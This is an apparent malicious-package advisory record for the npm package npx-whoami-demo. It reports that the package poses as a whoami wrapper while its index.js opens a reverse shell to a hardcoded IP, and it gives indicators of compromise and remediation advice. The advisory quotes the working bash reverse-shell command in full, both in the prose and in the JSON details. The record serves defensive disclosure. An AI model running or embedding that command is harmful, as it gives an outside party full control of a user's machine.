mal-2026-5772
Vulnerability from ossf_malicious_packages
Published
2026-06-14 13:39
Modified
2026-07-27 09:45
Summary
Malicious code in npx-whoami-demo (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (0971bcb88de070f17d932feff04cd6e66ecc825f606b412414457a3afb4ad174)

The package's only code file (index.js, also registered as the package's bin entry) unconditionally executes require('child_process').execSync("bash -c \"bash -i >& /dev/tcp/101.43.232.7/7777 0>&1\"", { stdio: 'inherit' }). This opens an interactive reverse shell from the user's machine to the hardcoded remote host 101.43.232.7 on TCP port 7777, giving the operator of that endpoint a full interactive shell with the privileges of the invoking user. The package advertises itself as a thin wrapper that runs whoami, but no whoami invocation exists in the code — the stated purpose is a cover story for the backdoor. The reverse shell fires whenever the bin is invoked, including via npx npx-whoami-demo, which is the documented usage pattern.

Source: ghsa-malware (e399c4b836f2dcf572585b449653e8108b1e523732614ee14f894473d3816af9)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

CWE
  • CWE-506 - The product contains code that appears to be malicious in nature.
  • CWE-506 - The product contains code that appears to be malicious in nature.
Credits

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "index.js",
              "sha256": "e086d4eb615db23b2fc9dc9a01b6814bbd54c07e0e4e65b2cf8a9440adab5d3c",
              "tlsh": "d3c02b50099c12f8fc00dcb87799c4235557387492706830ccce486305ce3e0023c076"
            }
          ],
          "ips": [
            "101.43.232.7"
          ],
          "package_integrity": [
            {
              "filename": "npx-whoami-demo-1.0.0.tgz",
              "hashes": {
                "sha1": "a8644fc227b9163630be5e862a3de08eaa2550f6",
                "sha512_sri": "sha512-1flIEslRCRkGaOv5JKSWC58w2fuwa9Ii6Bw5b2MmVWZ4+7Y8TIO/abQDLA6I/EavtgpHlPdubX0vgL8BY3NtJQ=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "npx-whoami-demo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": [
        "1.0.0"
      ]
    }
  ],
  "aliases": [
    "GHSA-3mmq-8798-7f4v"
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-006472",
        "import_time": "2026-06-14T14:50:19.607058521Z",
        "modified_time": "2026-06-14T13:39:01Z",
        "sha256": "0971bcb88de070f17d932feff04cd6e66ecc825f606b412414457a3afb4ad174",
        "source": "amazon-inspector",
        "versions": [
          "1.0.0"
        ]
      },
      {
        "id": "IN-MAL-2026-006473",
        "import_time": "2026-06-14T14:50:19.680559676Z",
        "modified_time": "2026-06-14T13:39:02Z",
        "sha256": "fd8ebad9242ca5fc2abd9e3951a31bb3f4574f6ca07894be2b12468ccd2e5279",
        "source": "amazon-inspector",
        "versions": [
          "1.0.0"
        ]
      },
      {
        "id": "GHSA-3mmq-8798-7f4v",
        "import_time": "2026-07-27T09:43:03.749178999Z",
        "modified_time": "2026-07-27T05:26:51Z",
        "ranges": [
          {
            "events": [
              {
                "introduced": "0"
              }
            ],
            "type": "SEMVER"
          }
        ],
        "sha256": "e399c4b836f2dcf572585b449653e8108b1e523732614ee14f894473d3816af9",
        "source": "ghsa-malware"
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (0971bcb88de070f17d932feff04cd6e66ecc825f606b412414457a3afb4ad174)\nThe package\u0027s only code file (index.js, also registered as the package\u0027s bin entry) unconditionally executes `require(\u0027child_process\u0027).execSync(\"bash -c \\\"bash -i \u003e\u0026 /dev/tcp/101.43.232.7/7777 0\u003e\u00261\\\"\", { stdio: \u0027inherit\u0027 })`. This opens an interactive reverse shell from the user\u0027s machine to the hardcoded remote host 101.43.232.7 on TCP port 7777, giving the operator of that endpoint a full interactive shell with the privileges of the invoking user. The package advertises itself as a thin wrapper that runs `whoami`, but no `whoami` invocation exists in the code \u2014 the stated purpose is a cover story for the backdoor. The reverse shell fires whenever the bin is invoked, including via `npx npx-whoami-demo`, which is the documented usage pattern.\n\n## Source: ghsa-malware (e399c4b836f2dcf572585b449653e8108b1e523732614ee14f894473d3816af9)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n",
  "id": "MAL-2026-5772",
  "modified": "2026-07-27T09:45:42Z",
  "published": "2026-06-14T13:39:01Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/npx-whoami-demo/v/1.0.0"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-3mmq-8798-7f4v"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in npx-whoami-demo (npm)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…